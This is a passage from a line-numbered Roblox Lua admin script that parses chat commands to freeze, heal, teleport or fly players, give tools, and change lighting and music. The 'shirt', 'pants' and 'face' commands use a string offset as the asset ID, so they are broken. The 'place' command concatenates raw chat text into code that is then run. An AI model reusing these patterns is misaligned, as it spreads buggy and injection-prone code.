  4953. local plrz = GetPlr(plr, msg:lower():sub(9))
  4954. for i, v in pairs(plrz) do
  4955. coroutine.resume(coroutine.create(function()
  4956. if v and v.Character and v.Character:findFirstChild("Torso") then
  4957. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  4958. end
  4959. end))
  4960. end
  4961. end
  4962.  
  4963. if msg:lower():sub(1,9) == "sparkles " then
  4964. local plrz = GetPlr(plr, msg:lower():sub(10))
  4965. for i, v in pairs(plrz) do
  4966. coroutine.resume(coroutine.create(function()
  4967. if v and v.Character and v.Character:findFirstChild("Torso") then
  4968. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  4969. end
  4970. end))
  4971. end
  4972. end
  4973.  
  4974. if msg:lower():sub(1,11) == "unsparkles " then
  4975. local plrz = GetPlr(plr, msg:lower():sub(12))
  4976. for i, v in pairs(plrz) do
  4977. coroutine.resume(coroutine.create(function()
  4978. if v and v.Character and v.Character:findFirstChild("Torso") then
  4979. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  4980. end
  4981. end))
  4982. end
  4983. end
  4984.  
  4985. if msg:lower():sub(1,3) == "ff " then
  4986. local plrz = GetPlr(plr, msg:lower():sub(4))
  4987. for i, v in pairs(plrz) do
  4988. coroutine.resume(coroutine.create(function()
  4989. if v and v.Character then Instance.new("ForceField", v.Character) end
  4990. end))
  4991. end
  4992. end
  4993.  
  4994. if msg:lower():sub(1,5) == "unff " then
  4995. local plrz = GetPlr(plr, msg:lower():sub(6))
  4996. for i, v in pairs(plrz) do
  4997. coroutine.resume(coroutine.create(function()
  4998. if v and v.Character then
  4999. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  5000. end
  5001. end))
  5002. end
  5003. end
  5004.  
  5005. if msg:lower():sub(1,7) == "punish " then
  5006. local plrz = GetPlr(plr, msg:lower():sub(8))
  5007. for i, v in pairs(plrz) do
  5008. coroutine.resume(coroutine.create(function()
  5009. if v and v.Character then
  5010. v.Character.Parent = game:service("Lighting")
  5011. end
  5012. end))
  5013. end
  5014. end
  5015.  
  5016. if msg:lower():sub(1,9) == "unpunish " then
  5017. local plrz = GetPlr(plr, msg:lower():sub(10))
  5018. for i, v in pairs(plrz) do
  5019. coroutine.resume(coroutine.create(function()
  5020. if v and v.Character then
  5021. v.Character.Parent = game:service("Workspace")
  5022. v.Character:MakeJoints()
  5023. end
  5024. end))
  5025. end
  5026. end
  5027.  
  5028. if msg:lower():sub(1,7) == "freeze " then
  5029. local plrz = GetPlr(plr, msg:lower():sub(8))
  5030. for i, v in pairs(plrz) do
  5031. coroutine.resume(coroutine.create(function()
  5032. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5033. for a, obj in pairs(v.Character:children()) do
  5034. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  5035. end
  5036. end
  5037. end))
  5038. end
  5039. end
  5040.  
  5041. if msg:lower():sub(1,5) == "thaw " then
  5042. local plrz = GetPlr(plr, msg:lower():sub(6))
  5043. for i, v in pairs(plrz) do
  5044. coroutine.resume(coroutine.create(function()
  5045. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5046. for a, obj in pairs(v.Character:children()) do
  5047. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  5048. end
  5049. end
  5050. end))
  5051. end
  5052. end
  5053.  
  5054. if msg:lower():sub(1,5) == "heal " then
  5055. local plrz = GetPlr(plr, msg:lower():sub(6))
  5056. for i, v in pairs(plrz) do
  5057. coroutine.resume(coroutine.create(function()
  5058. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5059. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  5060. end
  5061. end))
  5062. end
  5063. end
  5064.  
  5065. if msg:lower():sub(1,4) == "god " then
  5066. local plrz = GetPlr(plr, msg:lower():sub(5))
  5067. for i, v in pairs(plrz) do
  5068. coroutine.resume(coroutine.create(function()
  5069. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5070. v.Character.Humanoid.MaxHealth = math.huge
  5071. v.Character.Humanoid.Health = 9e9
  5072. end
  5073. end))
  5074. end
  5075. end
  5076.  
  5077. if msg:lower():sub(1,6) == "ungod " then
  5078. local plrz = GetPlr(plr, msg:lower():sub(7))
  5079. for i, v in pairs(plrz) do
  5080. coroutine.resume(coroutine.create(function()
  5081. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5082. v.Character.Humanoid.MaxHealth = 100
  5083. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  5084. end
  5085. end))
  5086. end
  5087. end
  5088.  
  5089. if msg:lower():sub(1,8) == "ambient " then
  5090. local chk1 = msg:lower():sub(9):find(" ") + 8
  5091. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  5092. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  5093. end
  5094.  
  5095. if msg:lower():sub(1,11) == "brightness " then
  5096. game.Lighting.Brightness = msg:sub(12)
  5097. end
  5098.  
  5099. if msg:lower():sub(1,5) == "time " then
  5100. game.Lighting.TimeOfDay = msg:sub(6)
  5101. end
  5102.  
  5103. if msg:lower():sub(1,9) == "fogcolor " then
  5104. local chk1 = msg:lower():sub(10):find(" ") + 9
  5105. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  5106. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  5107. end
  5108.  
  5109. if msg:lower():sub(1,7) == "fogend " then
  5110. game.Lighting.FogEnd = msg:sub(8)
  5111. end
  5112.  
  5113. if msg:lower():sub(1,9) == "fogstart " then
  5114. game.Lighting.FogStart = msg:sub(10)
  5115. end
  5116.  
  5117. if msg:lower():sub(1,7) == "btools " then
  5118. local plrz = GetPlr(plr, msg:lower():sub(8))
  5119. for i, v in pairs(plrz) do
  5120. coroutine.resume(coroutine.create(function()
  5121. if v and v:findFirstChild("Backpack") then
  5122. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  5123. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  5124. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  5125. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  5126. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  5127. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  5128. local sb
  5129. local hs
  5130. local pdist
  5131.  
  5132. script.Parent.Selected:connect(function(mouse)
  5133. if not mouse then return end
  5134. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  5135. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  5136. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  5137. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  5138. hs.MouseButton1Down:connect(function() pdist = 0 end)
  5139. end)
  5140.  
  5141. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  5142. end
  5143. end))
  5144. end
  5145. end
  5146.  
  5147. if msg:lower():sub(1,12) == "startergive " then
  5148. local chk1 = msg:lower():sub(13):find(" ") + 12
  5149. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  5150. for i, v in pairs(plrz) do
  5151. coroutine.resume(coroutine.create(function()
  5152. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  5153. for a, tool in pairs(game.Lighting:children()) do
  5154. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  5155. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  5156. end
  5157. end
  5158. end
  5159. end))
  5160. end
  5161. end
  5162.  
  5163. if msg:lower():sub(1,5) == "give " then
  5164. local chk1 = msg:lower():sub(6):find(" ") + 5
  5165. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  5166. for i, v in pairs(plrz) do
  5167. coroutine.resume(coroutine.create(function()
  5168. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  5169. for a, tool in pairs(game.Lighting:children()) do
  5170. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  5171. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  5172. end
  5173. end
  5174. end
  5175. end))
  5176. end
  5177. end
  5178.  
  5179. if msg:lower():sub(1,12) == "removetools " then
  5180. local plrz = GetPlr(plr, msg:lower():sub(13))
  5181. for i, v in pairs(plrz) do
  5182. coroutine.resume(coroutine.create(function()
  5183. if v and v.Character and v:findFirstChild("Backpack") then
  5184. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  5185. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  5186. end
  5187. end))
  5188. end
  5189. end
  5190.  
  5191. if msg:lower():sub(1,5) == "rank " then
  5192. local chk1 = msg:lower():sub(6):find(" ") + 5
  5193. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  5194. for i, v in pairs(plrz) do
  5195. coroutine.resume(coroutine.create(function()
  5196. if v and v:IsInGroup(msg:sub(chk1+1)) then
  5197. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  5198. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  5199. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  5200. end
  5201. end))
  5202. end
  5203. end
  5204.  
  5205. if msg:lower():sub(1,7) == "damage " then
  5206. local chk1 = msg:lower():sub(8):find(" ") + 7
  5207. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  5208. for i, v in pairs(plrz) do
  5209. coroutine.resume(coroutine.create(function()
  5210. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5211. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  5212. end
  5213. end))
  5214. end
  5215. end
  5216.  
  5217. if msg:lower():sub(1,5) == "grav " then
  5218. local plrz = GetPlr(plr, msg:lower():sub(6))
  5219. for i, v in pairs(plrz) do
  5220. coroutine.resume(coroutine.create(function()
  5221. if v and v.Character and v.Character:findFirstChild("Torso") then
  5222. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  5223. end
  5224. end))
  5225. end
  5226. end
  5227.  
  5228. if msg:lower():sub(1,8) == "setgrav " then
  5229. local chk1 = msg:lower():sub(9):find(" ") + 8
  5230. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  5231. for i, v in pairs(plrz) do
  5232. coroutine.resume(coroutine.create(function()
  5233. if v and v.Character and v.Character:findFirstChild("Torso") then
  5234. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  5235. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  5236. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  5237. end
  5238. end))
  5239. end
  5240. end
  5241.  
  5242. if msg:lower():sub(1,7) == "nograv " then
  5243. local plrz = GetPlr(plr, msg:lower():sub(8))
  5244. for i, v in pairs(plrz) do
  5245. coroutine.resume(coroutine.create(function()
  5246. if v and v.Character and v.Character:findFirstChild("Torso") then
  5247. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  5248. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  5249. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  5250. end
  5251. end))
  5252. end
  5253. end
  5254.  
  5255. if msg:lower():sub(1,7) == "health " then
  5256. local chk1 = msg:lower():sub(8):find(" ") + 7
  5257. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  5258. for i, v in pairs(plrz) do
  5259. coroutine.resume(coroutine.create(function()
  5260. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5261. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  5262. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  5263. end
  5264. end))
  5265. end
  5266. end
  5267.  
  5268. if msg:lower():sub(1,6) == "speed " then
  5269. local chk1 = msg:lower():sub(7):find(" ") + 6
  5270. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  5271. for i, v in pairs(plrz) do
  5272. coroutine.resume(coroutine.create(function()
  5273. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5274. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  5275. end
  5276. end))
  5277. end
  5278. end
  5279.  
  5280. if msg:lower():sub(1,5) == "team " then
  5281. local chk1 = msg:lower():sub(6):find(" ") + 5
  5282. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  5283. for i, v in pairs(plrz) do
  5284. coroutine.resume(coroutine.create(function()
  5285. if v and game:findFirstChild("Teams") then
  5286. for a, tm in pairs(game.Teams:children()) do
  5287. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  5288. end
  5289. end
  5290. end))
  5291. end
  5292. end
  5293.  
  5294. if msg:lower():sub(1,6) == "place " then
  5295. local chk1 = msg:lower():sub(7):find(" ") + 6
  5296. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  5297. for i, v in pairs(plrz) do
  5298. coroutine.resume(coroutine.create(function()
  5299. if v and v:findFirstChild("PlayerGui") then
  5300. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  5301. end
  5302. end))
  5303. end
  5304. end
  5305.  
  5306. if msg:lower():sub(1,3) == "tp " then
  5307. local chk1 = msg:lower():sub(4):find(" ") + 3
  5308. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  5309. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  5310. for i, v in pairs(plrz) do
  5311. coroutine.resume(coroutine.create(function()
  5312. for i2, v2 in pairs(plrz2) do
  5313. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  5314. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  5315. end
  5316. end
  5317. end))
  5318. end
  5319. end
  5320.  
  5321. if msg:lower():sub(1,7) == "change " then
  5322. local chk1 = msg:lower():sub(8):find(" ") + 7
  5323. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  5324. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  5325. for i, v in pairs(plrz) do
  5326. coroutine.resume(coroutine.create(function()
  5327. if v and v:findFirstChild("leaderstats") then
  5328. for a, st in pairs(v.leaderstats:children()) do
  5329. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  5330. end
  5331. end
  5332. end))
  5333. end
  5334. end
  5335.  
  5336. if msg:lower():sub(1,6) == "shirt " then
  5337. local chk1 = msg:lower():sub(7):find(" ") + 6
  5338. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  5339. for i, v in pairs(plrz) do
  5340. coroutine.resume(coroutine.create(function()
  5341. if v and v.Character then
  5342. for i,v in pairs(v.Character:children()) do
  5343. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  5344. end
  5345. end
  5346. end))
  5347. end
  5348. end
  5349.  
  5350. if msg:lower():sub(1,6) == "pants " then
  5351. local chk1 = msg:lower():sub(7):find(" ") + 6
  5352. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  5353. for i, v in pairs(plrz) do
  5354. coroutine.resume(coroutine.create(function()
  5355. if v and v.Character then
  5356. for i,v in pairs(v.Character:children()) do
  5357. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  5358. end
  5359. end
  5360. end))
  5361. end
  5362. end
  5363.  
  5364. if msg:lower():sub(1,5) == "face " then
  5365. local chk1 = msg:lower():sub(6):find(" ") + 5
  5366. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  5367. for i, v in pairs(plrz) do
  5368. coroutine.resume(coroutine.create(function()
  5369. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  5370. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  5371. end
  5372. end))
  5373. end
  5374. end
  5375.  
  5376. ---------------------
  5377. -- FunCommands --
  5378. ---------------------
  5379. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  5380.  
  5381. if msg:lower():sub(1,8) == "swagify " then
  5382. local plrz = GetPlr(plr, msg:lower():sub(9))
  5383. for i, v in pairs(plrz) do
  5384. coroutine.resume(coroutine.create(function()
  5385. if v and v.Character then
  5386. for i,v in pairs(v.Character:children()) do
  5387. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  5388. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  5389. end
  5390. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  5391. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  5392. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  5393. local torso = plr.Character.Torso
  5394. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  5395. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  5396. p.Size = Vector3.new(.2,.2,.2)
  5397. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  5398. local motor1 = Instance.new("Motor", p)
  5399. motor1.Part0 = p
  5400. motor1.Part1 = torso
  5401. motor1.MaxVelocity = .01
  5402. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  5403. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  5404. local wave = false
  5405. repeat wait(1/44)
  5406. local ang = 0.1
  5407. local oldmag = torso.Velocity.magnitude
  5408. local mv = .002
  5409. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  5410. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  5411. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  5412. motor1.DesiredAngle = -ang
  5413. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  5414. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  5415. if torso.Velocity.magnitude < .1 then wait(.1) end
  5416. until not p or p.Parent ~= torso.Parent
  5417. script:Destroy()
  5418. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  5419. end
  5420. end))
  5421. end
  5422. end
  5423.  
  5424. if msg:lower():sub(1,6) == "music " then
  5425. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  5426. local id = msg:sub(7)
  5427. local pitch = 1
  5428. if tostring(id):lower():find("caramell") then id = 2303479 end
  5429. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  5430. if tostring(id):find("rick") then id = 2027611 end
  5431. if tostring(id):find("halo") then id = 1034065 end
  5432. if tostring(id):find("pokemon") then id = 1372261 end
  5433. if tostring(id):find("cursed") then id = 1372257 end
  5434. if tostring(id):find("extreme") then id = 11420933 end
  5435. if tostring(id):find("awaken") then id = 27697277 end
  5436. if tostring(id):find("alone") then id = 27697392 end
  5437. if tostring(id):find("mario") then id = 1280470 end
  5438. if tostring(id):find("choir") then id = 1372258 end
  5439. if tostring(id):find("chrono") then id = 1280463 end
  5440. if tostring(id):find("dotr") then id = 11420922 end
  5441. if tostring(id):find("entertain") then id = 27697267 end
  5442. if tostring(id):find("fantasy") then id = 1280473 end
  5443. if tostring(id):find("final") then id = 1280414 end
  5444. if tostring(id):find("emblem") then id = 1372259 end
  5445. if tostring(id):find("flight") then id = 27697719 end
  5446. if tostring(id):find("banjo") then id = 27697298 end
  5447. if tostring(id):find("gothic") then id = 27697743 end
  5448. if tostring(id):find("hiphop") then id = 27697735 end
  5449. if tostring(id):find("intro") then id = 27697707 end
  5450. if tostring(id):find("mule") then id = 1077604 end
  5451. if tostring(id):find("film") then id = 27697713 end
  5452. if tostring(id):find("nezz") then id = 8610025 end
  5453. if tostring(id):find("angel") then id = 1372260 end
  5454. if tostring(id):find("resist") then id = 27697234 end
  5455. if tostring(id):find("schala") then id = 5985787 end
  5456. if tostring(id):find("organ") then id = 11231513 end
  5457. if tostring(id):find("tunnel") then id = 9650822 end
  5458. if tostring(id):find("spanish") then id = 5982975 end
  5459. if tostring(id):find("venom") then id = 1372262 end
  5460. if tostring(id):find("wind") then id = 1015394 end
  5461. if tostring(id):find("guitar") then id = 5986151 end
  5462. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  5463. end
  5464.  
  5465. if msg:lower() == "stopmusic" then
  5466. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  5467. end
  5468.  
  5469. if msg:lower() == "musiclist" then
  5470. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  5471. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  5472. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  5473. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  5474. end
  5475.  
  5476. if msg:lower():sub(1,4) == "fly " then
  5477. local plrz = GetPlr(plr, msg:lower():sub(5))
  5478. for i, v in pairs(plrz) do
  5479. coroutine.resume(coroutine.create(function()
  5480. if v and v:findFirstChild("PlayerGui") then
  5481. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  5482. local mouse = game.Players.LocalPlayer:GetMouse()
  5483. repeat wait() until mouse
  5484. local plr = game.Players.LocalPlayer
  5485. local torso = plr.Character.Torso
  5486. local flying = true
  5487. local deb = true
  5488. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  5489. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  5490. local maxspeed = 50
  5491. local speed = 0
  5492. function Fly()
  5493. local bg = Instance.new("BodyGyro", torso)
  5494. bg.P = 9e4
  5495. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  5496. bg.cframe = torso.CFrame
  5497. local bv = Instance.new("BodyVelocity", torso)
  5498. bv.velocity = Vector3.new(0,0.1,0)
  5499. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  5500. repeat wait()
  5501. plr.Character.Humanoid.PlatformStand = true
  5502. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  5503. speed = speed+.5+(speed/maxspeed)
  5504. if speed > maxspeed then
  5505. speed = maxspeed
  5506. end
  5507. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  5508. speed = speed-1
  5509. if speed < 0 then
  5510. speed = 0
  5511. end
  5512. end
  5513. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  5514. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  5515. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  5516. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  5517. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  5518. else
  5519. bv.velocity = Vector3.new(0,0.1,0)
  5520. end
  5521. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  5522. until not flying
  5523. ctrl = {f = 0, b = 0, l = 0, r = 0}
  5524. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  5525. speed = 0
  5526. bg:Destroy()
  5527. bv:Destroy()
  5528. plr.Character.Humanoid.PlatformStand = false
  5529. end
  5530. mouse.KeyDown:connect(function(key)
  5531. if key:lower() == "e" then
  5532. if flying then flying = false
  5533. else
  5534. flying = true
  5535. Fly()
  5536. end
  5537. elseif key:lower() == "w" then
  5538. ctrl.f = 1
  5539. elseif key:lower() == "s" then
  5540. ctrl.b = -1
  5541. elseif key:lower() == "a" then
  5542. ctrl.l = -1
  5543. elseif key:lower() == "d" then
  5544. ctrl.r = 1
  5545. end
  5546. end)
  5547. mouse.KeyUp:connect(function(key)
  5548. if key:lower() == "w" then
  5549. ctrl.f = 0
  5550. elseif key:lower() == "s" then
  5551. ctrl.b = 0
  5552. elseif key:lower() == "a" then
  5553. ctrl.l = 0
  5554. elseif key:lower() == "d" then
  5555. ctrl.r = 0
  5556. end
  5557. end)
  5558. Fly()]]
  5559. cl.Parent = v.PlayerGui cl.Disabled = false
  5560. end
  5561. end))
  5562. end
  5563. end
  5564.  
  5565. if msg:lower():sub(1,6) == "unfly " then
  5566. local plrz = GetPlr(plr, msg:lower():sub(7))
  5567. for i, v in pairs(plrz) do
  5568. coroutine.resume(coroutine.create(function()
  5569. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  5570. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  5571. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  5572. wait(.1) v.Character.Humanoid.PlatformStand = false
  5573. end
  5574. end))
  5575. end
  5576. end
  5577.  
  5578. if msg:lower() == "disco" then
  5579. for i, v in pairs(lobjs) do v:Destroy() end
  5580. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  5581. game.Lighting.Ambient = color
  5582. game.Lighting.FogColor = color
  5583. until nil]]
  5584. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  5585. end
  5586.  
  5587. if msg:lower() == "flash" then
  5588. for i, v in pairs(lobjs) do v:Destroy() end
  5589. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  5590. game.Lighting.Ambient = Color3.new(1,1,1)
  5591. game.Lighting.FogColor = Color3.new(1,1,1)
  5592. game.Lighting.Brightness = 1
  5593. game.Lighting.TimeOfDay = 14
